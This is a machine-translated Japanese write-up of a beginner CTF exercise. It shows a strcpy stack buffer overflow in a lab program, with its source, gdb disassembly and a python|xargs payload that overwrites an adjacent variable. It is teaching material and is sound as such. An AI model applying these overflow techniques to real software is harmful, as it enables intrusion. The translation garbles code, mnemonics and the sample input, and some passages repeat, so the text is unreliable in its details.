pwn を初めて使用する友人は、pwn の演習を行うときにこのような疑問を抱くかもしれません。変数データを正確にカバーするにはどうすればよいですか?
pwn の演習を行う前に、次のことを理解しておく必要があります。C 言語のコマンド ライン パラメーターの main 関数には、int 型の argc パラメーターと char** 型の argv パラメーターの 2 つのパラメーターがあります。argc パラメータの値はコマンド ライン パラメータの数を示し、argv は特定のコマンド ライン パラメータの内容を格納する文字列配列を指します。
今日の実験を使ってご紹介します!
この記事には、関連する実験が含まれています: ["CTF
PWN Exercise Accurate Coverage Variable Data"](https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014110113362900001&pk_campaign=freebuf-wemedia
) (上部とシーケンス表記に基づいて、変更された変数の値は、適切に構築された入力データ オーバーフロー バッファを通じて正確に上書きされ、プログラムの実行ロジックを変更するという目的を達成できます。)
コマンド ライン パラメーター情報 (/home/test/2 ディレクトリにあります) を出力するには、以下のコード例を参照してください。 #include <stdio.h>int main(int argc, char** argv){int i;for (i = 0; i < argc; ++i){printf("argv[%d] = %s\n", i, argv[i]);}return 0;}
プログラム自体の名前がコマンド ラインの最初の引数であることに注意してください。このコードをコンパイルしてテスト プログラムを生成し、コマンド ラインで実行します。 ./test hello world cmdline などのコマンド ライン パラメータを渡してみます。プログラムが特定のコマンド ライン パラメータ情報を出力することがわかります
。 :
xargs コマンド Linux の xargs コマンドは、入力データをコマンド ライン パラメータとして指定されたプログラムに渡すことができます。たとえば、コマンド python -c "print 'AAA BBB
CCC'" | xargs ./test を実行すると、出力は次のようになります。
Python ステートメントが実行されると、AAA BBB
CCC が出力されます。これはパイプライン操作を通じて xargs コマンドの入力として使用され、xargs はそれをテスト プログラムのコマンド ライン パラメーターとして使用するため、テスト プログラムはこれを出力します。情報。
Xiaobai: つまり、xargs を使用すると、入力データをコマンド ライン パラメーターとしてこのプログラムに入力できます。
ダドン: そうです。
エンディアンネスまたはエンディアンネス (英語: Endianness) とも呼ばれるバイトオーダーもあります。メモリに格納されている 0x11223344 などの値の場合、下位アドレスから上位アドレスの方向の各バイトの観点から、メモリ内のその内容の分布は 0x11、0x22、0x33、0x44、または 0x44 になる可能性があります。 0x33、0x22、0x11。
これには、ビッグ エンディアン形式とリトル エンディアン形式という 2 つのストレージ ルールが関係します。概略図を次の図に示します。
0x11223344 の最上位バイトは 0x11、最下位バイトは 0x44 です。リトル エンディアン形式は「高いストレージは高く、低いストレージは低い」という法則であり、よく理解されているということだけを覚えておく必要があります。つまり、リトルエンディアン形式では、上位バイトはメモリの上位アドレスに格納され、下位バイトはメモリの低位アドレスに格納されます。
Intel、AMD、およびその他の一連のプロセッサはリトルエンディアン形式です。
タイトル説明:
ホストの /home/test/2 ディレクトリには、pwn2 プログラムがあります。このプログラムは、受信したコマンド ライン パラメータを処理します。特定のコマンド ライン パラメータ データを構築することで、プログラムに対してオーバーフロー攻撃を開始できます。成功すると、オーバーフロー攻撃が実行されます。 Congratulations, you pwned
it. というプロンプトが表示され、失敗した場合は **Please try again.** というプロンプトが表示されます。
ソース コード監査の最初のステップは、cd /home/test/2 を使用してプログラムが存在するディレクトリに切り替え、cat pwn2.c を実行してソース コードを確認することです。 #include <stdio.h>#include < string.h>#include <stdlib. h>int main(int argc, char** argv){int updated;charbuffer[64];if (argc == 1){printf("引数を指定してください\n" );exit(1);}modified = 0;strcpy(buffer, argv[1]); // バッファ オーバーフロー if (modified == 0x61626364){printf("おめでとうございます。pwn しました。\n");}else {printf("もう一度お試しください。0x%08X になりました\n"、変更されました);}return 0;}
このソースコードを入手するにはどうすればよいですか?
ジェスチャを試してみます。strcpy 関数を使用して文字列をコピーする場合、ターゲット バッファの長さはチェックされません。ソース文字列の長さがターゲット バッファの長さを超えると、バッファ オーバーフローが発生します。ここで、非常に長いコマンド ライン パラメータ データが入力されると、バッファ オーバーフローが発生し、データがバッファを上書きした後も、変更された変数は上書きされ続けます。
このプログラムには条件が変更されています == ので、資金を引き出すにはいくらかかりますか? 0x61626364
分析を続けましょう。gdb pwn2 を実行して、gdb を介して pwn2 のデバッグを開始します。次に、main 関数のアセンブリ コードを読み取り、
gdb で disas main コマンドを実行する必要があります。
以下は main 関数のアセンブリ コードの説明です。
0x080482a0 <+0>: %ebp をプッシュ
0x080482a1 <+1>: mov %esp,%ebp
0x080482a3 <+3>: および $0xfffffff0,%esp
; esp = esp - 0x60、つまり、スタック上に 0x60) バイトのスペースを割り当てます。
0x080482a6 <+6>: サブ $0x60,%esp
; コマンドラインパラメータの数が 1 かどうかを判断します。
0x080482a9 <+9>: cmpl $0x1,0x8(%ebp)
0x080482ad <+13>: jne 0x80482c7 <メイン+39>
0x080482af <+15>: movl $0x80b3dac,(%esp)
0x080482b6 <+22>: 0x80493c0 に電話します
0x080482bb <+27>: movl $0x1,(%esp)
0x080482c2 <+34>: 0x8048e90 に電話します
; コマンド パラメータの数が 1 ではなく、コマンド ライン パラメータが渡されることを示しています。
; 変更された変数は esp + 0x5C にあり、0 に初期化します。
0x080482c7 <+39>: movl $0x0,0x5c(%esp)
; ebp + 0xC 経由で argv パラメータの値を取得します
0x080482cf <+47>: mov 0xc(%ebp),%eax
; eax = eax + 4
0x080482d2 <+50>: $0x4,%eax を追加
; argv[1]の値を取得します。
0x080482d5 <+53>: mov (%eax),%eax
; argv[1] を strcpy の 2 番目のパラメータ値として使用します
0x080482d7 <+55>: mov %eax,0x4(%esp)
; バッファは esp + 0x1C にあり、バッファは strcpy の最初のパラメータ値です
0x080482db <+59>: lea 0x1c(%esp),%eax
0x080482df <+63>: mov %eax,(%esp)
; strcpy を呼び出して文字列をコピーします
0x080482e2 <+66>: 0x80525b0 に電話します
; 変更された値が 0x61626364 であるかどうかを判断します。
0x080482e7 <+71>: cmpl $0x61626364,0x5c(%esp)
; 等しくない場合はジャンプして障害情報を出力
0x080482ef <+79>: jne 0x80482ff <メイン+95>
; 成功メッセージを出力する
0x080482f1 <+81>: movl $0x80b3dc8,(%esp)
0x080482f8 <+88>: 0x80493c0 に電話します
0x080482fd <+93>: jmp 0x8048314 <メイン+116>
0x080482ff <+95>: mov $0x80b3de8,%eax
0x08048304 <+100>: mov 0x5c(%esp),%edx
0x08048308 <+104>: 移動 %edx,0x4(%esp)
0x0804830c <+108>: mov %eax,(%esp)
0x0804830f <+111>: 0x8049390 に電話します
0x08048314 <+116>: mov $0x0,%eax
0x08048319 <+121>: 離れる
0x0804831a <+122>: ret
上記のアセンブリ コードを分析すると、buffer は esp+0x1C に位置し、modified は esp+0x5C に位置し、2 つのアドレス間の距離は 0x5C - 0x1C であることがわかります。
0x40 (64) は、バッファ配列のサイズとまったく同じです。したがって、入力したデータが 64 バイトを超える場合、変更された変数は上書きされる可能性がありますが、変更された変数の値を制御し、コマンド ライン パラメーターを慎重に構築する必要があります。
以下は gdb で検証され、b * 0x080482e7 コマンドが gdb で実行され、strcpy の次の命令のブレークポイントが設定されます。
次のように gdb で r コマンドを実行します (r の背後にあるデータは 64 A と 1234 です)。
ああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああ
つまり、r コマンドの後にスペースを追加すると、コマンド ライン パラメータを続けることができ、これがデバッグ中のプログラムに渡されます。Enter キーを押すと、プログラムがブレークポイントで中断されます。
gdb に「x $esp+0x5C」と入力すると、変更された変数の値が 0x34333231 に変更されていることを確認します。0x31 は文字「1」の ASCII 値、0x32 は文字「2」の ASCII 値、0x33は文字「3 」
x /4xb
$esp+0x5C コマンドを使用して、メモリ内の 0x34333231 の表現をバイト単位で表示します (/4xb は出力形式の制御に使用され、4 は 4 つの長さ単位を意味し、x は 16 進数で表示することを意味し、b は単位を意味します)バイトとして):
変更された変数の値は 0x34333231 に変更され、入力データ 'A...A1234' と結合されました。1234 は下位アドレスから上位アドレスへの方向であり、これがリトル エンディアン形式の表現であると判断できます。 。
gdb で c コマンドを入力してプログラムの実行を続行すると、出力されるエラー メッセージを確認できます。
コマンド ライン パラメータの 65 ~ 68 バイトの内容を適切に制御する限り、オーバーフロー攻撃を成功させることができます。
上記の手順を通じて、コマンド ライン パラメーターの 65 バイト目から 68 バイト目までの内容が適切に制御されている限り、オーバーフロー攻撃を成功させることができることがすでにわかりました。ターゲット マシンはデータの格納にリトル エンディアン形式を使用しており、if ステートメントの分岐では判定に合格するために変更された値が 0x61626364 である必要があるため、構築するデータは \x64\x63\x62\x61 になる必要があります。gdb を終了していない場合は、q コマンドを入力して gdb を終了します。次に、Python ステートメントを通じて入力データを構築し、それを xargs を通じて pwn2 プログラムに渡し、次のコマンドを実行します。 python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./pwn2
オーバーフロー攻撃が成功したことを確認すると、プログラムは PWN によって削除されました。
実際、0x61 は文字 a の ASCII 値であるため、次のコマンドを入力しても攻撃効果を得ることができます: python -c "print 'A'*64+'dcba'" | xargs ./pwn2
この実験は非常に頭を使うもので、結果が得られるまでに多くのデータが分析および処理されました。
オーバーフロー攻撃が成功したことを確認すると、プログラムは PWN によって削除されました。
実際、0x61 は文字 a の ASCII 値であるため、次のコマンドを入力しても攻撃効果を得ることができます: python -c "print 'A'*64+'dcba'" | xargs ./pwn2
【外部リンク画像転送...(img-SNjX496F-1691584274873)】
この実験は非常に頭を使うもので、結果が得られるまでに多くのデータが分析および処理されました。
やっと
ネットワーク セキュリティに触れたことのない学生のために、詳細な学習と成長のロードマップを用意しました。これは最も科学的で体系的な学習ルートであると言え、誰もがこの大まかな方向に従うことに問題はありません。
同時に、成長ルートに応じたセクションごとのサポートビデオも用意されています。
サポートビデオはもちろん、さまざまなドキュメント、書籍、資料、ツールが整理され、カテゴリに分類されています。あなた。
スペースが限られているため、情報の一部のみが表示されます。必要な友達は [下のカードをクリック] して無料で入手できます。